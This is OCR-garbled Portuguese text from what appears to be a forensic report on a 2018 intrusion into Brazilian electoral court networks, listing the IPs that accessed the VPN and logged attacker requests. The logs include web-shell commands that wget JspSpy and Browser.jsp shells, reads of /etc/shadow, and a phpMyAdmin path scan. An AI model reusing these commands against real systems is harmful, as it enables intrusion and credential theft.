185.153.176.8 18/04/2018 02:25:21 | 18/04/2018 05:27:54

T;SS‘EJX(I;T:A%]A 185.153.176.2 18/04/2018 02:37:52 | 18/04/2018 02:56:54 | Panama

’ 185.153.176.6 18/04/2018 03:04:47 | 18/04/2018 03:13:54

185.153.176.3 18/04/2018 03:20:35 | 18/04/2018 03:20:35
185.153.176.9 20/04/2018 10:50:23 | 20/04/2018 15:15:42
201.81.167.53 18/04/2018 03:15:28 | 21/04/2018 08:36:42 .

CLAROS.A. 201.6.129.235 18/04/2018 05:24:54 | 18/04/2018 05:48:59 Brasil
189.40.75.154 18/04/2018 18:56:14 | 18/04/2018 18:56:14
191.51.34.72 18/04/2018 19:02:05 | 18/04/2018 19:13:08
189.40.75.239 18/04/2018 20:45:41 | 18/04/2018 23:14:54
177.219.117.183 18/04/2018 20:56:20 | 18/04/2018 20:56:20 .

TIM CELULAR S.A. | 189.40.72.247 18/04/2018 22:21:17 | 18/04/2018 22:21:17 Brasil
189.40.72.14 18/04/2018 22:23:14 | 18/04/2018 22:23:14
189.40.91.135 18/04/2018 22:29:37 | 18/04/2018 23:14:52
189.40.90.239 19/04/2018 01:13:32 | 19/04/2018 01:13:32
189.40.90.253 19/04/2018 04:08:37 | 19/04/2018 04:08:37

e
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189.40.88.15

19/04/2018 08:11:15

19/04/2018 08:11:16

189.40.74.26

19/04/2018 16:23:05

19/04/2018 17:29:14

186.253.177.212

19/04/2018 18:05:13

19/04/2018 18:05:13

189.40.73.163

19/04/2018 19:16:40

19/04/2018 19:16:40

189.40.74.205

19/04/2018 20:43:37

19/04/2018 20:43:37

189.40.74.87

16/04/2018 22:37:00

19/04/2018 23:05:03

181.76.139.50

20/04/2018 01:20:59

20/04/2018 01:20:59

189.40.75.122

20/04/2018 05:00:09

20/04/2018 05:00:09

189.40.88.94

20/04/2018 07:57:59

20/04/2018 09:40:30

189.40.73.91

20/04/2018 10:32:32

20/04/2018 10:32:32

189.40.72.49

20/04/2018 19:30:32

20/04/2018 19:30:32

189.40.88.233

20/04/2018 23:01:19

20/04/2018 23:01:19

189.40.74.155

20/04/2018 23:56:23

21/04/2018 00:11:45

189.40.88.14

21/04/2018 01:39:43

21/04/2018 01:39:43

189.40.91.65

21/04/2018 06:55:36

21/04/2018 06:55:37

177.164.206.74

21/04/2018 07:52:19

21/04/2018 08:36:40

177.165.110.249

21/04/2018 10:01:29

21/04/2018 12:40:46

186.197.65.147

21/04/2018 12:56:05

21/04/2018 15:04:14

Os enderecos IP das organizagdes citadas foram utilizados em sua grande parte
para acessar o endereco IP 187.33.236.165, nas portas 4433 (HTTPS/SSL) e 4500 (IPsec).

Tal endereco esta registrado para o Tribunal Regional Eleitoral da Paraiba, e tais portas

indicam acesso por meio da VPN daquele 6rgéo.

Entre os enderecos IP de origem dos acessos, verificou-se a existéncia de IPs
localizados no exterior (NordVPN - https:/nordvpn.com ¢ HYDRA COMMUNICATIONS

LTD) e pertencentes a empresa Locaweb e as operadoras de telefonia celular Claro e Tim no

Brasil.

Na pagina seguinte, pode-se visualizar uma linha de tempo com os acessos

enderegos IPs de cada um dos grupos supracitados:

by
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S

Também foram realizadas buscas por argumentos suspeitos, os quais poderiam

indicar o download de artefatos maliciosos para os computadores, chegando-se ao seguinte

resultado:

| 17/04/2018, | 10.12.2.33 | 10.12.0.131 | /af/pgp.jsp?comment=wget+https://raw.githubuserco
22:04:48 17177:X1 | :8080:X0 ntent.com/tennc/webshell/master/jsp/J

2 17/04/2018, | 10.12.2.33 | 10.12.0.131 | /af/pqp.jsp?comment=wget-+https://raw.githubuserco
22:08:06 :38665:X1 | :8080:X0 ntent.com/tennc/webshell/master/jsp/J

3 18/04/2018, | 10.12.2.33 | 10.12.0.131 /af/pqp.jsp?commenlt=wget+https://raw.githubuserco
00:21:54 :1906:X 1 :8080:X0 ntent.com/tennc/webshell/master/jsp/JspSpy.jsp

4 18/04/2018, | 10.12.2.33 . 10.12.0.131 | /af/pqp.jsp?comment=wget+https://raw.githubuserco
00:23:04 :13998:X1 | :8080:X0 - ntent.com/tennc/webshell/master/jsp/IspSpy.jsp

e 5 —

6 18/04/2018, | 10.12.2.29 | | 0.2.70.92 /mywebserver/verificaLoginUsuario.php?Nome=test
04:37:49 :52765:X1 | :80:X0 | e&Senha=teste '

7 18/04/2018, | 10.12.2.29 | 10.5.2.56 = | /teste/domFunctions.js |
22:34:14 :52651:X1 | :80:X0 ’

8 | 18/04/2018, | 10.122.29 | 10.5.2.56 | /teste/boxoverjs
22:34:14 :52652:X1 | :80:X0

9 18/04/2018, | 10.12.2.29 [ 10.5.2.56 /teste
22:34:14 :50806:X1 | :80:X0

10 | 18/04/2018, | 10.12.2.29 | 10.5.2.56 /teste/padrao2.css
22:34:14 :52650:X1 | :80:X0 ‘

11 18/04/2018, 10.12.2.29 | 10.5.2.56 /teste/estilos.csls
22:34:14 :52649:X1 | :80:X0 ,

12 | 18/04/2018, | 10.12.2.29 | 10.5.2.56 /teste/ﬁadrao.css
22:34:14 :52648:X1 | :80:X0

13 | 18/04/2018, | 10.12.2.29 | 10.5.2.57 /aflpqp.jsp?comment=wget+10.12.0.131:8080/jmx-
22:45:23 :52907:X1 | :8080:X0 console/Browser jsp.txt+-

O+/opt/jboss/server/default%

14 | 18/04/2018, | 10.12.2.29 | 10.5.2.57 /af/pqp.jsp?comment=wg&+http:// 10.12.0.131:8080/
22:46:18 :58919:X1 | :8080:X0 Jmx-console/Browser.jsp.txt+-O+/opt/jboss/serv

15 | 18/04/2018, | 10.12.2.29 | 10.5.2.57 /af/pqp.jsp?comment=Command:+wget+http://appsf$
22:48:03 :52246:X1 | :8080:X0 tre-rn.jus.br/documentos/atas/config/Browser.jsp-

(=




16 | 18/04/2018, | 10.12.2.29 | 10.5.2.57 /af/pqp.jsp?comment=wget+http://apps3.tre-
22:48:37 64530:X1 | :8080:X0 rn.jus.br/documentos/atas/config/Browser jsp.txt+-
O+/op
17 | 18/04/2018, | 10.12.2.29 | 10.5.2.57 /af/pqp.jsp?comment=wget+http://apps3.ﬂ‘e—
22:49:59 :57466:X1 | :8080:X0 rn.jus.br/documentos/atas/config/Browser.jsp.txt+-
O+/op :
18 | 18/04/2018, | 10.12.2.29 | 10.5.2.57 /af/pqp.jsp?comment=wget+--h
23:13:04 :59208:X1 | :8080:X0
19 | 18/04/2018, | 10.12.2.29 | 10.5.2.63 /af/pgp.jsp?comment=wget+http://apps3.tre-
23:42:07 :60046:X1 | :8080:X0 rn.jus.br/documentos/atas/config/Browser jsp.txt+-
O+/op '
20 | 18/04/2018, | 10.12.2.29 | 10.5.2.66 /af/pqp.jsp?comment=wget
23:55:10 :52592:X1 | :8080:X0
21 | 18/04/2018, | 10.12.2.29 | 10.5.2.66 /at/pqp.jsp?comment=wget+http://apps3.tre-
23:56:07 :62863:X1 | :8080:X0 rn jus.br/documentos/atas/config/Browser.jsp.txt+-
O++/o
22 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/Browser.jsp
00:17:37 :50626:X1 | :8080:X0
23 | 19/04/2018, 10.12.2.29 | 10.1.1 .'38 /teste/JspSpy.jsp?o=upload
00:17:53 :50622:X1 | :8080:X0
24 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/pgp.jsp?comment=locate+jmxproxy
00:19:31 :50627:X1 | :8080:X0
25 | 19/04/2018, | 10.1222.29 | 10.1.1.38 /teste/Browser.jsp?sort=1&editfile=/etc/shadow
00:20:00 :50631:X1 | :8080:X0 '
26 | 19/04/2018, | 10.12.2.29 |} 10.1.1.38 /teste/Browser.jsp
00:22:06 :50637:X1 | :8080:X0
27 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/Browser.jsp?sort=1&dir=/usr/local/apache-
00:31:21 :50875:X1 | :8080:X0 tomcat-6.0.35/webapps/asi
28 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/Browser,jsp?sort=1&dir=/ust/local/apache-
00:37:01 :50878:X1 | :8080:X0 tomcat-6.0.35/webapps
29 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/Browser.jsp‘?soﬁ=I&dir=/usr/local/apache-
00:41:13 :51035:X1 | :8080:X0 tomcat-6.0.35/webapps/teste
30 | 19/04/2018, 10.12.2.29 | 10.1.1.38 /teste/Browser.jsp?sort=1 &dir=/ust/local/apache-
00:41:37 :51036:X1 | :8080:X0 tomcat-6.0.35/webapps/teste
31 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/Browser.jsp?sort=1&dir=/ust/local/apache-
00:46:32 :51044:X1 § :8080:X0 tomcat-6.0.35/webapps //—

=
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32 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/IspSpy.jsp
04:16:22 :51282:X1 | :8080:X0
33 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/IspSpy.jsp
04:19:39 :59739:X1 | :8080:X0
34 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/JspSpy.jsp
04:24:24 :58511:X1 | :8080:X0
35 | 19/04/2018, | 10.12.2.29 | 192.168.204 | /teste-cluster
04:28:34 :58475:X1 | 48
:8080:X0
36 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/IspSpy.jsp?o=vLogin
05:53:36 :55899:X1 | :8080:X0
37 | 19/04/2018, | 10.12.2.29. | 10.1.1.127 /teste/)spSpy .jsp
05:54:05 :53918:X1 | :8080:X0
38 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/IspSpy.jsp
05:55:33 :60277:X1 | :8080:X0
39 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp
05:57:45 :59960:X1 | :8080:X0 '
40 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 Iteste/JspSpy.jsp
05:58:14 :52540:X1 | :8080:X0
41| 19/04/2018, | 10.12.2.29 | 10.1.1.127 Iteste/JspSpy.jsp
05:58:36 :60747:X1 | :8080:X0
42 |1 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?Javascript
06:00:33 :60406:X1 | :8080:X0
43 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp
06:00:36 :53714:X1 | :8080:X0
44 l._9/04/2018, 10.12.2.29 | 10.1.1.127 /teste/Browser jsp?sort=1&dir=/usr/share/tomcat6/w
06:01:30 :55975:X1 | :8080:X0 ebapps/sadAdmSRHSP
45 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?sort=1&dir=/ust/share/tomcat6/w
06:06:40 :61734:X1 | :8080:X0 ebapps/sadAdmSRHSP
46 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp
06:07:46 :58985:X1 | :8080:X0
47 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp
06:08:42 :57462:X1 | :8080:X0 .
48 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp
06:08:56 :56322:X1 | :8080:X0 - /
.
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% | DATA ORIGEM | DESTINO | ARGUMENTO

49 | 19/04/2018. | 10.12.2.29 | 10.1.1.127 Iteste/JspSpy.jsp
06:09:36 :59858:X1 | :8080:X0

{50 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser jsp?sort=1 &dir=/usr/share/tomcat6/w
06:09:40 :50962:X1 | :8080:X0 ebapps/sadAdmSRHSP/WEB-INF

S1 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp
06:10:03 :54888:X1 | :8080:X0

52 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser jsp?sort=1&dir=/usr/share/tomcat6/w
06:13:41 :58852:X1 | :8080:X0 ebapps

53 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 | /teste/Browser.jsp?sort=|&dir=/var/www/html/piwi
06:15:18 :64618:X1 | :8080:X0 k

54 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/images/logo.png
06:15:49 :52485:X1 | :8080:X0

55 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/images/logo.png
06:15:50 :50869:X1 | :8080:X0

56 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?sort=1&file=/var/www/html/inde
06:16:17 :50773:X1 | :8080:X0 x.html

57 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?sort=1&dir=/var/www/html/tresp
06:17:02 :49621:X1 | :8080:X0 commonsweb-api/src

58 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/servicemonitor.swf
06:17:02 :56235:X1 | :8080:X0

59 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/AIR Localizer s
06:17:02 :56232:X1 | :8080:X0

60 | 19/04/2018, 10.12.2.29 | 10.1.1.127 Nteste/lib/air/ AIRSourceViewer.js
06:17:02 :56234:X1 | :8080:X0

61 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/ AIRMenuBuilder.js
06:17:02 :56233:X1 | :8080:X0

62 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/applicationupdater.swf
06:17:03 :56236:X1 | :8080:X0

63 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?sort=1&file=/var/www/html/tresp
06:17:40 :50402:X1 | :8080:X0 commonsweb-api/index.php

64 | 19/04/2018, 10.12.2.29 | 10.1.1.127 /teste/assets/css/Print.css
06:18:27 :63586:X1 | :8080:X0

65 | 19/04/2018, 10.12.2.29 | 10.1.1.127 /teste/assets/css/APIBrowser.css
06:18:27 :63585:X1 | :8080:X0




66 | 19/04/2018, 10.12.2.29 | 10.1.1.127 /teste/lib/jqueryapi/api-browser.js
06:18:27 :63583:X1 | :8080:X0 ~
67 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/jqueryapi/api-loader.js
06:18:27 :63587:X1 | :8080:X0
68 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/lib/air/ AC_RunActiveContent.js
06:18:27 :63584:X1 | :8080:X0
69 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?sort=1&file=/var/www/html/tresp
06:19:59 :61553:X1 | :8080:X0 commonsweb-api/no-scroll-application.xml
70 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?sort=1&file=/var/log/tomcat6/cat
06:20:23 :56703:X1 | :8080:X0 alina.out
71 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp?sort=1&dir=/
06:21:24 :53857:X1 | :8080:X0 :
72 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/Browser.jsp
06:22:52 :57667:X1 | :8080:X0
73 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/JspSpy.jsp
06:24:15 :61459:X1 | :8080:X0
74 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 Iteste/JspSpy.jsp
06:25:15 :54637:X1 | :8080:X0
75 | 19/04/2018, | 10.12.2.29 | 10.1.1.127 /teste/IspSpy.jsp
06:26:09 :51639:X1 | :8080:X0
76 | 19/04/2018, | 10.12.2.29 | 10.1.1.215 /af/pgp.jsp?comment=wget
06:43:28 :58636:X1 | :8089:X0
77 | 19/04/2018, | 10.12.2.29 | 10.1.1.215 /aflpqp.jsp?comment=wget+http://apps3.tre-
06:45:05 :62162:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/aq
78 | 19/04/2018, | 10.12.2.29 | 10.1.1.215 /aflpqp.jsp?comment=wget+http://apps3.tre-
06:46:10 :62214:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/aq
79 | 19/04/2018, | 10.12.2.29 | 10.1.1.215 /aflpqp.jsp?comment=wget+http://apps3.tre-
06:48:43 :62424:X1 | :8089:X0 rn.jus.br/documentos/atas/config/test/aq
80 | 19/04/2018, | 10.12.2.29 | 10.10.1.241 | /teste/my_web_app.war
10:05:55 :59409:X1 | :8080:X0
81 | 19/04/2018, 10.12.2.29 | 10.12.1.182 | /af/pqp.jsp?comment=wget
10:18:34 :58337:X1 | :8080:X0
82 | 19/04/2018, | 10.12.2.29 | 10.12.1.182 /af/pqp.jép?comment=wget+http://apps3.tre-
10:19:35 :64425:X1 | :8080:X0 rn.jus.br/documentos/atas/config/Browser.jsp.txt+-
’ O+/ /
| _. e’
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# | DATA ORIGEM | DESTINO | ARGUMENTO

83 | 19/04/2018, | 10.12.2.29 | 10.8.1.11 /teste
19:12:06 :55050:X1 | :8080:X0

84 | 19/04/2018, | 10.12.2.29 | 10.8.1.11 /teste
19:13:15 :60960:X1 | :8080:X0

85 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1&dir=/ust/local/tomcat/
19:51:26 :45633:X1 | :8080:X0 webapps

86 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?Javascript
19:51:57 :45632:X1 | :8080:X0

87 | 19/04/2018, 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1&dir=/usr/local/tomcat/
19:53:57 :58662:X1 | :8080:X0 webapps/tre

88 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1&dir=/usr/local/tomcat/
19:54:41 :1485:X1 :8080:X0 webapps/tre/ WEB-INF/classes/sade

89 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/000.jsp
19:56:04 :10862:X1 | :8080:X0

90 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/000.jsp
19:56:33 :13254:X1 | :8080:X0

01 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/000.jsp
19:57:13 :18299:X1 | :8080:X0

92 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser jsp?sort=1&dir=/ust/local/tomcat/
20:11:32 :45691:X1 | :8080:X0 webapps/tre/ WEB-INF/classes/sade

93 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=| &dir=/ust/local/tomcat/
20:15:17 :16232:X1 :8080:X0 webapps/tre/ WEB-INF/classes/supre

94 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1&dir=/usr/local/tomcat/
20:16:46 :17640:X1 | :8080:X0 webapps/tre/ WEB-INF/classes/dne

95 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1&dir=/usr/local/tomcat/
20:17:11 :19690:X1 | :8080:X0 webapps/tre/ WEB-INF/classes/sas/conf

96 | 19/04/2018, | 10.12.2.29 | 10.8.1.11 /Browser/000.jsp
20:30:06 :57704:X1 | :8080:X0

97 | 19/04/2018, 10.12.2.29 | 10.8.1.11 /Browser/000.jsp
20:44:04 :53575:X1 | :8080:X0

08 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1&dir=/ust/local/tomcat/
20:59:22 :17601:X1 | :8080:X0 webapps/tre/ WEB-INF/classes/sas

99 | 19/04/2018, 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1 &dir=/ust/local/tomcat/
21:05:20 :55864:X1 | :8080:X0 webapps/tre/ WEB-INF/classes

g5
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100 [ 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1&file=/ust/local/tomcat
21:08:52 :12679:X1 | :8080:X0 /webapps/tre/ WEB- "
INF/classes/componente_acesso%
101| 19/04/2018, 101227 | 10.8.1.11 /Browser/Browser.jsp?sort=1&dir=/ust/local/tomcat/
21:32:13 :24811:X1 | :3080:X0 webapps/tre/ WEB-INF/classes/gas
102 | 19/04/2018, | 10.12.2.7 10.8.1.11 /Browser/Browser.jsp?sort=1&dir=/ust/local/tomcat/
21:33:16 :36251:X1 | :8080:X0 webapps/consultaOrcamentaria/ WEB-INF/classes
103 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/JspSpy.jsp?o=vLogin
22:01:58 :62705:X1 | :8080:X0
104 | 19/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/IspSpy.jsp
22:02:29 :63021:X1 | :8080:X0
105 20/04/2018, 10.12.2.29 | 10.8.1.11 /Browser/000.jsp
01:21:38 :61092:X1 | :8080:X0
106 | 21/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/)spSpy.jsp
06:14:06 :64769:X1 | :8080:X0
107 | 21/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/JspSpy.jsp
‘ 06:35:47 :57429:X1 | :8080:X0 :
108 | 21/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/IspSpy.jsp
07:05:38 :53939:X1 | :8080:X0
109 | 21/04/2018, | 10.12.2.29 | 10.1.138 | /teste/JspSpy.jsp
07:13:09 :60667:X1 | :8080:X0 E '
110 21/04/2018, | 10.12.2.29 | 10.1.1.38 /teste/JspSpy.jsp
14:00:29 :50096:X1 | :8080:X0

Entre as atividades detectadas, temos por exemplo o download de artefatos

maliciosos (JspSpy.jsp e Browser.jsp) e a varredura de portas em outros computadores. E

interessante notar que em um dos casos (linha 5, sombreada em cinza acima), o artefato

malicioso foi baixado do enderego IP 191.252.0.19, pertencente a empresa Locaweb Servigos

de Internet S/A.

Em relagdo aos fatos divulgados em novembro de 2018, foram realizadas buscas

pelo enderego IP 10.30.1.229, o qual, segundo relatorio fornecido pelo préprio TSE, continha

um portal da Se¢do de Voto Informatizado, SEVIN, com a indicag&o de link de dois servidores

de integracdo continua (Jenkins), um em Windows e outro em
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Foram identificados acessos realizados a este enderego IP ainda em abril de 2018,
oriundos dos enderegos IP 10.12.2.33, 10.12.2.39 e 10.12.2.29, o que indica que o possivel
hacker pode ter obtido acesso aos codigos-fonte ainda nesse periodo. Nos acessos, € possivel
perceber que sdo realizados testes para verificar a existéncia de ferramentas que possam ser
alvos de ataques, como por exemplo o PhpMyAdmin, nos computadores de destino, e que s@o
acessados links condizentes com a captura de tela do servidor da SEVIN apresentada

relatorio do TSE, como as linhas sombreadas em cinza abaixo:

(¥
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# DATA ORIGEM DESTINO ARGUMENTO

! 18/04/2018 00:56:01  [10.12.2.33:15492:X1 | 10.30.1.229:80:X0 /

2 18/04/2018 00:56:01  [10.12.2.33:15774:X1 | 10.30.1.229:80:X0 /ncsi.txt

3 18/04/2018 00:56:02 | 10.12.2.33:16137:X1 | 10.30.1.229:80:X0 /phpmyadmin/

4 18/04/2018 00:56:05 [ 10.12.2.33:16260:X1 | 10.30.1.229:80:X0 /phpMyAdmin/

3 18/04/2018 00:56:06 | 10.12.2.33:17497:X1 | 10.30.1.229:80:X0 /PMA/

6 18/04/2018 00:56:07 | 10.12.2.33:17841:X1 | 10.30.1.229:80:X0 /pma/

7 18/04/2018 00:56:07 | 10.12.2.33:18169:X1 | 10.30.1.229:80:X0 /dbadmin/

8 18/04/2018 00:56:07 | 10.12.2.33:17999:X1  [10.30.1.229:80:X0 /admin/

9 18/04/2018 00:56:09  10.12.2.33:18815:X1 | 10.30.1.229:80:X0 /myadmin/

10 18/04/2018 00:56:09  |10.12.2.33:18286:X1 | 10.30.1.229:80:X0 /mysql/

I 18/04/2018 00:56:11 ] 10.12.2.33:19305:X1 | 10.30.1.229:80:X0 /phpmyadmin2/

12 18/04/2018 00:56:11  [10.12.2.33:19414:X1 | 10.30.1.229:80:X0 /phpMyAdmin2/

13 18/04/2018 00:56:11 10.12.2.33:18962:X1 10.30.1.229:80:X0 /openserver/phpmyadmin/

14 18/04/2018 00:56:12 | 10.12.2.33:19570:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2/

15 18/04/2018 00:56:13  [10.12.2.33:19912:X1 | 10.30.1.229:80:X0 /php-my-admin/

16 18/04/2018 00:56:13  {10.12.2.33:20074:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.2.3/

17 18/04/2018 00:56:14 | 10.12.2.33:20198:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.2.6/

18 18/04/2018 00:56:16 | 10.12.2.33:20526:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.1/

19 18/04/2018 00:56:17  [10.12.2.33:21188:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.4/

20 18/04/2018 00:56:18 | 10.12.2.33:21624:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.5-rc2/

21 18/04/2018 00:56:18 [ 10.12.2.33:21496:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.5-rc1/

22 18/04/2018 00:56:19 | 10.12.2.33:21776:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.5/

23 18/04/2018 00:56:19 | 10.12.2.33:22064:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.5-pl1/

24 18/04/2018 00:56:20  {10.12.2.33:22523:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.6/

25 18/04/2018 00:56:20 | 10.12.2.33:22388:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.6-rc2/
| 26 18/04/2018 00:56:20  [10.12.2.33:22229:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.6-rc1/
27 18/04/2018 00:56:21 [ 10.12.2.33:22727:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.7/
| 28 18/04/2018 00:56:22 | 10.12.2.33:22851:X1 | 10.30.1.229:80:X0 /phpMyAdmin-2.5.7-pl1/

Z
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18/04/2018 00:56:22

10.12.2.33:23007:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-alpha/

18/04/2018 00:56:23

10.12.2.33:23162:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-alpha2/

18/04/2018 00:56:24

10.12.2.33:23512:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-betal/

18/04/2018 00:56:24

10.12.2.33:23970:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-beta2/

18/04/2018 00:56:25

10.12.2.33:24252:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-rc2/

18/04/2018 00:56:25

10.12.2.33:24122:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-rc1/

18/04/2018 00:56:26

10.12.2.33:24359:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-rc3/

18/04/2018 00:56:26

10.12.2.33:24506:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0/

18/04/2018 00:56:27

10.12.2.33:24825:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-pl1/

18/04/2018 00:56:28

10.12.2.33:24963:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-pl2/

18/04/2018 00:56:28

10.12.2.33:25231:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.1-rcl/

18/04/2018 00:56:28

10.12.2.33:25079:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.0-pl3/

18/04/2018 00:56:29

10.12.2.33:25381:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.1-rc2/

18/04/2018 00:56:29

10.12.2.33:25491:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.1/

18/04/2018 00:56:30

10.12.2.33:25636: X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.1-pll/

18/04/2018 00:56:31

10.12.2.33:25936:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.1-pl2/

18/04/2018 00:56:34

10.12.2.33:26084:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.1-pl3/

18/04/2018 00:56:35

10.12.2.33:27510:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.2-rcl/

18/04/2018 00:56:35

10.12.2.33:27691:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.2-betal/

18/04/2018 00:56:36

10.12.2.33:27823:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.2-rcl/

18/04/2018 00:56:37

10.12.2.33:28566:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.2-pll/

18/04/2018 00:56:38

10.12.2.33:28718:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.3/

18/04/2018 00:56:38

10.12.2.33:28391:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.2/

18/04/2018 00:56:38

10.12.2.33:28899:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.3-rcl/

18/04/2018 00:56:40

10.12.2.33:29069:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.3/

18/04/2018 00:56:41

10.12.2.33:30281:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.4-rc1/

18/04/2018 00:56:41

10.12.2.33:29637:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.3-pl1/

18/04/2018 00:56:42

10.12.2.33:30633:X1

10.30.1.229:80:X0

/phpMyAdmin-2.6.4-pl2/

18/04/2018 00:56:42

10.12.2.33:30463: X1

10.30.1.229:80:X0

 /phpMyAdmin-2.6.4-pl1/
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58 18/04/2018 00:56:44 10.12.2.33:30837:X1 10.30.1.229:80:X0 /phpMyAdmin-2.6.4-pl3/
59 18/04/2018 00:56:44 10.12.2.33:31495:X1 10.30.1.229:80:X0 /phpMyAdmin-2.6.4-pl4/
60 18/04/2018 00:56:46 10.12.2.33:31667:X1 10.30.1.229:80:X0 /phpMyAdmin-2.6.4/

61 18/04/2018 00:56:47 10.12.2.33:32377:X1 10.30.1.229:80:X0 /phpMyAdmin-2.7.0-betal/
62 18/04/2018 00:56:48 10.12.2.33:32791:X1 10.30.1.229:80:X0 /phpMyAdmin-2.7.0-rc1/
63 18/04/2018 00:56:49 10.12.2.33:33436:X1 10.30.1.229:80:X0 /phpMyAdmin-2.7.0-pl1/
64 18/04/2018 00:56:50 10.12.2.33:34522:X1 10.30.1.229:80:X0 /phpMyAdmin-2.7.0/

